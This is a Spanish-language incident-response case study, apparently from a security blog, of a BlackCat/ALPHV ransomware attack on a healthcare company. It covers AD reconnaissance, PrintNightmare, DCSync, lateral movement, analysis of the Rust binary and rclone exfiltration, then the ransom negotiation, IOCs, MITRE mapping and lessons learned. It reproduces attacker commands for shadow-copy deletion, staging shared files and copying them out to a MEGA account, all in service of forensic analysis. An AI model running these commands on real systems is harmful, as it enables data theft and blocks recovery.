AvanzadoBlackCatALPHVransomwaredoble extorsióndata leakRust malwareMITRE ATT&CKincident response

BlackCat/ALPHV: Doble Extorsión y Data Leak Investigation

Investigación completa de un incidente BlackCat/ALPHV con doble extorsión: análisis del binario Rust, exfiltración de datos, leak site, negociación con el grupo, timeline de respuesta a incidentes, IOCs y mapeo MITRE ATT&CK.

MalwareIntel Research··12 min lectura
Serie: Casos de Uso — Parte 11

Contexto del escenario

Una empresa del sector sanitario con 2.500 empleados y presencia en tres países europeos detecta actividad anómala en su red interna un viernes por la tarde. El equipo SOC identifica conexiones salientes sospechosas desde varios servidores de bases de datos hacia una IP externa no categorizada. 48 horas después, los sistemas comienzan a mostrar notas de rescate con la firma característica de BlackCat/ALPHV.

Este caso documenta la investigación completa: desde el acceso inicial hasta la aparición de los datos en el leak site del grupo, incluyendo el análisis del binario Rust, la cadena de exfiltración y el proceso de respuesta.

BlackCat/ALPHV: perfil del grupo

BlackCat, también conocido como ALPHV o Noberus, emergió en noviembre de 2021 como uno de los primeros grupos de ransomware en utilizar Rust como lenguaje de desarrollo para su payload. Operaba bajo un modelo de Ransomware-as-a-Service (RaaS), reclutando afiliados con comisiones de entre el 80% y el 90% del rescate.

Características distintivas del grupo:

  • Lenguaje Rust: compilación cruzada para Windows, Linux y ESXi
  • Leak site con búsqueda: los afectados podían buscar sus propios datos
  • Triple extorsión: cifrado + leak + DDoS en casos seleccionados
  • Configuración flexible: cada payload se compilaba con parámetros específicos para la víctima
  • Eliminación de shadow copies: múltiples técnicas según el sistema operativo

El grupo fue vinculado a antiguos miembros de DarkSide y BlackMatter, lo que explicaba su sofisticación operativa desde el primer día.

Acceso inicial: credenciales VPN comprometidas

La investigación forense determinó que el vector de entrada fue una cuenta VPN corporativa comprometida. El análisis de logs del concentrador VPN reveló:

2026-05-20 03:14:22 UTC  VPN-GW-01  AUTH_SUCCESS
  User: svc-backup-ext
  Source IP: 185.220.101[.]x (Tor exit node)
  MFA: not_required (service account exception)
  Session duration: 14h 22m

La cuenta svc-backup-ext era una cuenta de servicio utilizada para backups remotos. Llevaba 18 meses sin rotación de credenciales y estaba excluida del requisito de MFA por ser cuenta de servicio. Las credenciales probablemente fueron obtenidas mediante un infostealer previo (se encontraron registros de RedLine Stealer en logs de inteligencia de amenazas asociados al dominio corporativo).

Reconocimiento y movimiento lateral

Una vez dentro de la red, el atacante dedicó los primeros tres días al reconocimiento y escalado de privilegios.

Día 1: Reconocimiento de Active Directory

# Herramientas detectadas en logs EDR
ADFind.exe -default -f "(objectcategory=computer)" -csv
ADFind.exe -default -f "(&(objectCategory=person)(objectClass=user))" -csv
net group "Domain Admins" /domain
nltest /dclist:CORP.LOCAL

El atacante utilizó ADFind para mapear la infraestructura de Active Directory, identificando 847 hosts y 2.341 cuentas de usuario. Los resultados se almacenaron temporalmente en C:\ProgramData\ad_output.csv.

Día 2: Escalado de privilegios

El atacante explotó una vulnerabilidad conocida en el servicio de Print Spooler (PrintNightmare, CVE-2021-34527) en un controlador de dominio que no tenía el parche aplicado:

# Evento detectado en Windows Event Log
Event ID: 808
Source: PrintService
Message: The print spooler failed to load a plug-in module
  C:\Windows\System32\spool\drivers\x64\3\evil.dll

Con esto obtuvo credenciales de Domain Admin mediante la extracción del NTDS.dit usando la técnica DCSync:

# Detectado vía Sysmon Event ID 18 (Pipe Connected)
Pipe: \lsarpc
Source Process: C:\Users\Public\mimikatz.exe
Target: \\DC01.CORP.LOCAL

Día 3: Movimiento lateral con PsExec y WMI

# Timeline de movimiento lateral reconstruido desde logs EDR
14:22 - PsExec → DB-SQL-01 (servidor SQL principal)
14:35 - PsExec → DB-SQL-02 (servidor SQL réplica)
14:48 - WMI → FS-CORP-01 (file server principal)
15:01 - WMI → FS-CORP-02 (file server secundario)
15:15 - RDP → ADMIN-WS-07 (estación de administración)

Análisis del binario Rust

El equipo de respuesta a incidentes recuperó el payload de BlackCat desde un directorio temporal en uno de los servidores comprometidos.

Propiedades del archivo

Nombre: update_service.exe
SHA256: 7e01b336...a92f4d (defanged)
Tamaño: 3.2 MB
Compilador: Rust 1.68.0 (rustc)
Empaquetado: UPX (capa externa) + ofuscación interna
Timestamp PE: 2026-05-18 11:42:00 UTC

Análisis estático

Tras desempaquetar la capa UPX, el análisis de strings reveló artefactos típicos de BlackCat:

# Strings relevantes (parcial)
"access-token"
"--child"
"--drag-and-drop"
"--propagated"
"--no-net"
"esxcli vm process list"
"vscadmin delete shadows /all /quiet"
"bcdedit /set {default} recoveryenabled No"
"wmic shadowcopy delete"

La configuración embebida en el binario (cifrada con AES-128-CTR) incluía:

{
  "config": {
    "public_key": "MIIBIjANBgkq...",
    "extension": ".sykffle",
    "note_file_name": "RECOVER-sykffle-FILES.txt",
    "credentials": [
      {"user": "CORP\\svc-backup-ext", "password": "[REDACTED]"},
      {"user": "CORP\\admin.jones", "password": "[REDACTED]"}
    ],
    "kill_services": [
      "vss", "sql", "svc$", "memtas", "mepocs", "sophos",
      "veeam", "backup", "GxVss", "GxBlr", "GxFWD"
    ],
    "kill_processes": [
      "sql", "oracle", "ocssd", "dbsnmp", "synctime",
      "agntsvc", "isqlplussvc", "xfssvccon", "mydesktopservice"
    ],
    "exclude_directory_names": [
      "system volume information", "$recycle.bin",
      "boot", "windows", "perflogs"
    ],
    "exclude_file_extensions": [
      ".exe", ".dll", ".sys", ".msi", ".lnk", ".sykffle"
    ],
    "enable_network_discovery": true,
    "enable_self_propagation": true,
    "enable_set_wallpaper": true
  }
}

Análisis dinámico: comportamiento del cifrado

El payload utilizaba un esquema de cifrado híbrido:

  1. AES-256 para cifrar los archivos individuales (rápido, simétrico)
  2. RSA-2048 para cifrar la clave AES por archivo
  3. ChaCha20 como algoritmo alternativo configurable

El proceso de cifrado seguía esta secuencia:

  1. Genera una clave AES-256 única por archivo
  2. Cifra el contenido del archivo con AES-256-CTR
  3. Cifra la clave AES con la clave pública RSA embebida
  4. Adjunta la clave cifrada al final del archivo
  5. Renombra con la extensión .sykffle
  6. Utiliza multi-threading (16 hilos por defecto) para maximizar velocidad

El rendimiento medido en sandbox fue de aproximadamente 2.5 GB/minuto en disco SSD, lo que permitía cifrar un servidor de archivos completo en menos de una hora.

Exfiltración de datos

La fase de exfiltración comenzó 48 horas antes del despliegue del ransomware. El atacante utilizó una combinación de herramientas:

Fase 1: Compresión y staging

# Detectado en logs EDR - PowerShell ScriptBlock logging
7z.exe a -p[REDACTED] -mx=5 C:\ProgramData\data_01.7z
  "\\FS-CORP-01\Shared\HR\*"
  "\\FS-CORP-01\Shared\Finance\*"
  "\\FS-CORP-01\Shared\Legal\*"

7z.exe a -p[REDACTED] -mx=5 C:\ProgramData\data_02.7z
  "\\DB-SQL-01\backup\*.bak"

Fase 2: Exfiltración vía rclone

# Configuración rclone encontrada en C:\ProgramData\.rclone.conf
[mega_exfil]
type = mega
user = throwaway_acct_2026@proton[.]me
pass = [ENCRYPTED]

# Comando ejecutado
rclone copy C:\ProgramData\data_01.7z mega_exfil:dump/ --bwlimit 50M
rclone copy C:\ProgramData\data_02.7z mega_exfil:dump/ --bwlimit 50M

El atacante limitó el ancho de banda a 50 MB/s para evitar disparar alertas de tráfico anómalo. En total, se exfiltraron aproximadamente 380 GB de datos en un periodo de 14 horas.

Datos exfiltrados

La investigación determinó que los datos incluían:

  • Registros médicos de pacientes (datos de salud protegidos bajo RGPD)
  • Nóminas y contratos de empleados
  • Contratos con proveedores y partners
  • Backups de bases de datos SQL con información financiera
  • Documentación legal y propiedad intelectual

El leak site y la nota de rescate

Tras el cifrado, la nota de rescate proporcionaba una URL .onion única para la víctima:

>> What happened?
Important files on your network have been ENCRYPTED and copied.

>> What now?
To get your files back AND prevent data publication, you need to
follow our instructions carefully.

>> Your personal LIVE CHAT:
http://alphvmmm27o3abo3r2mlmjrpdi[...]onion/[UNIQUE_ID]

>> WARNING:
DO NOT rename encrypted files.
DO NOT try to decrypt using third party software.
DO NOT contact the FBI, they will not help you.

El leak site de BlackCat presentaba las siguientes características:

  • Interfaz de búsqueda pública: permitía buscar documentos específicos por nombre
  • Countdown timer: 7 días hasta la publicación completa
  • Preview de datos: mostraba capturas de pantalla de documentos sensibles
  • API para periodistas: facilitaba el acceso a datos filtrados para maximizar cobertura mediática

Negociación con el grupo

El equipo de respuesta, junto con la dirección y asesores legales, decidió iniciar una comunicación controlada con el grupo atacante a través del chat Tor proporcionado. El objetivo no era pagar, sino ganar tiempo y obtener inteligencia.

[Atacante]: We have 380GB of your data. Patient records, contracts,
            financial data. Price: $4.5M in Bitcoin or Monero.
            7 days before public release.

[Víctima]:  We are evaluating. Can you provide proof of data?

[Atacante]: [Shares screenshots of internal documents]
            [Shares directory listing of exfiltrated files]
            We can also provide a test decryption of 3 files.

[Víctima]:  We need more time to evaluate our options.

[Atacante]: 5% discount if paid within 48 hours.
            After 7 days, data goes public + press release.

La comunicación permitió confirmar el alcance real de la exfiltración y documentar TTPs adicionales del grupo para la investigación forense.

Timeline de respuesta a incidentes

HoraEventoAcción IR
D0 Vie 17:30Alertas EDR por cifrado masivoActivación del plan de IR
D0 Vie 17:45Confirmación de ransomware BlackCatAislamiento de red (segmentos afectados)
D0 Vie 18:00Desconexión de backups de redVerificación de integridad de backups offline
D0 Vie 18:30Notificación a dirección y legalInicio de comunicaciones internas
D0 Vie 19:00Preservación forense de evidenciaImagen de memoria y disco en hosts clave
D1 Sáb 08:00Análisis de logs VPNIdentificación de cuenta comprometida
D1 Sáb 12:00Análisis de movimiento lateralReconstrucción del timeline del atacante
D1 Sáb 18:00Confirmación de exfiltraciónAnálisis de tráfico de red (rclone + MEGA)
D2 Dom 10:00Notificación a AEPDComunicación RGPD (datos de salud)
D2 Dom 14:00Notificación a CCN-CERTReporte de incidente según ENS
D3 Lun 09:00Inicio de comunicación con atacanteChat Tor controlado
D3 Lun 14:00Verificación de backups offlineConfirmación de viabilidad de restauración
D5 Mié 09:00Inicio de restauración desde backupSistemas críticos primero
D7 Vie 00:00Publicación parcial en leak siteGestión de comunicación de crisis
D10 LunSistemas críticos restauradosOperación parcial recuperada
D14 VieRestauración completaTodas las operaciones normalizadas
D30Post-mortem completoLecciones aprendidas y mejoras implementadas

Contención y erradicación

Acciones inmediatas (primeras 4 horas)

  1. Aislamiento de red: segmentación de las VLANs afectadas
  2. Revocación de credenciales: reset de todas las cuentas de Domain Admin
  3. Deshabilitación de la cuenta VPN comprometida
  4. Bloqueo de IOCs en firewall perimetral: IPs de C&C y destinos de exfiltración
  5. Preservación de evidencia: imágenes forenses de sistemas clave

Erradicación (días 3 a 7)

  1. Reconstrucción de controladores de dominio desde backup limpio
  2. Reset doble del krbtgt para invalidar Golden Tickets
  3. Parcheo de PrintNightmare en todos los sistemas
  4. Implementación de MFA en todas las cuentas, incluyendo cuentas de servicio
  5. Reconfiguración de la VPN con certificados de cliente obligatorios
  6. Despliegue de reglas de detección para las TTPs observadas

IOCs del incidente

Hashes (SHA256)

7e01b336...a92f4d    BlackCat payload (update_service.exe)
a3c4f2e1...b8d7c3    ADFind.exe (herramienta de reconocimiento)
e5f6a7b8...c9d0e1    Mimikatz (extracción de credenciales)
f2a3b4c5...d6e7f8    rclone.exe (exfiltración)

IPs de C&C y exfiltración

185.220.101[.]x      Tor exit node (acceso VPN)
91.215.85[.]x        C&C BlackCat
193.42.33[.]x        Staging server

Dominios

throwaway_acct_2026@proton[.]me    Cuenta MEGA de exfiltración
alphvmmm27o3abo3r2[...]onion       Leak site BlackCat

Artefactos en disco

C:\ProgramData\ad_output.csv           Resultados ADFind
C:\ProgramData\data_01.7z              Datos comprimidos para exfiltración
C:\ProgramData\data_02.7z              Datos comprimidos para exfiltración
C:\ProgramData\.rclone.conf            Configuración rclone
C:\Users\Public\mimikatz.exe           Herramienta de credenciales
RECOVER-sykffle-FILES.txt              Nota de rescate
*.sykffle                              Extensión de archivos cifrados

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Initial AccessValid Accounts: VPNT1078.001Cuenta de servicio VPN comprometida
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001Scripts de compresión y staging
PersistenceAccount ManipulationT1098Creación de cuentas de backup adicionales
Privilege EscalationExploitation for Privilege EscalationT1068PrintNightmare (CVE-2021-34527)
Credential AccessOS Credential Dumping: DCSyncT1003.006Mimikatz DCSync contra DC
DiscoveryRemote System DiscoveryT1018ADFind para mapear infraestructura
Lateral MovementRemote Services: SMB/Windows Admin SharesT1021.002PsExec para movimiento lateral
CollectionData from Network Shared DriveT1039Acceso a shares de red para staging
ExfiltrationExfiltration Over Web ServiceT1567rclone hacia MEGA
ImpactData Encrypted for ImpactT1486BlackCat ransomware (Rust)
ImpactInhibit System RecoveryT1490Eliminación de shadow copies

Lecciones aprendidas

Fallas identificadas

  1. Cuentas de servicio sin MFA: la excepción de MFA para cuentas de servicio fue el vector de entrada
  2. Parches pendientes: PrintNightmare llevaba meses sin parchear en los DC
  3. Monitorización de tráfico saliente insuficiente: la exfiltración de 380 GB no generó alertas
  4. Rotación de credenciales: 18 meses sin cambio en la cuenta comprometida
  5. Segmentación de red insuficiente: el atacante se movió libremente entre segmentos

Mejoras implementadas post-incidente

  1. MFA obligatorio para todas las cuentas sin excepción (FIDO2 para servicios)
  2. Monitorización de tráfico saliente con umbrales de volumen por host
  3. Rotación automática de credenciales cada 90 días
  4. Microsegmentación entre servidores de datos y estaciones de trabajo
  5. Detección de herramientas de exfiltración (rclone, WinSCP, MEGA) en EDR
  6. Backups inmutables con air gap y verificación periódica de restauración
  7. Política de parches: vulnerabilidades críticas en menos de 72 horas

Conclusión

El caso BlackCat/ALPHV ilustra la evolución del ransomware hacia modelos de doble y triple extorsión donde el cifrado es solo una parte del impacto. La exfiltración de datos, especialmente datos regulados como información médica, amplifica enormemente las consecuencias del incidente tanto a nivel operativo como legal y reputacional.

La detección temprana de la exfiltración (antes del cifrado) es la ventana de oportunidad más valiosa. En este caso, 380 GB salieron de la red durante 14 horas sin generar una sola alerta. La inversión en monitorización de tráfico saliente y detección de herramientas como rclone habría cambiado completamente el resultado del incidente.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.